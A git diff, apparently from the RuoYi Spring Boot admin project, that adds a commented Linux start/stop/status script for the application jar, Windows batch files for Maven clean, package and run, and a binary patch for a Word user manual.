]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/api.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/api.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/bin/clean.bat b/bin/clean.bat new file mode 100644 index 0000000..24c0974 --- /dev/null +++ b/bin/clean.bat @@ -0,0 +1,12 @@ +@echo off +echo. +echo [Ϣ] target· +echo. + +%~d0 +cd %~dp0 + +cd .. +call mvn clean + +pause \ No newline at end of file diff --git a/bin/package.bat b/bin/package.bat new file mode 100644 index 0000000..c693ec0 --- /dev/null +++ b/bin/package.bat @@ -0,0 +1,12 @@ +@echo off +echo. +echo [Ϣ] Weḅwar/jarļ +echo. + +%~d0 +cd %~dp0 + +cd .. +call mvn clean package -Dmaven.test.skip=true + +pause \ No newline at end of file diff --git a/bin/run.bat b/bin/run.bat new file mode 100644 index 0000000..41efbd0 --- /dev/null +++ b/bin/run.bat @@ -0,0 +1,14 @@ +@echo off +echo. +echo [Ϣ] ʹJarWeb̡ +echo. + +cd %~dp0 +cd ../ruoyi-admin/target + +set JAVA_OPTS=-Xms256m -Xmx1024m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=512m + +java -jar %JAVA_OPTS% ruoyi-admin.jar + +cd bin +pause \ No newline at end of file diff --git a/doc/若依环境使用手册.docx b/doc/若依环境使用手册.docx new file mode 100644 index 0000000000000000000000000000000000000000..9e4daef4d9be2e445419109a02eaf321cd4d537e GIT binary patch literal 428430 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 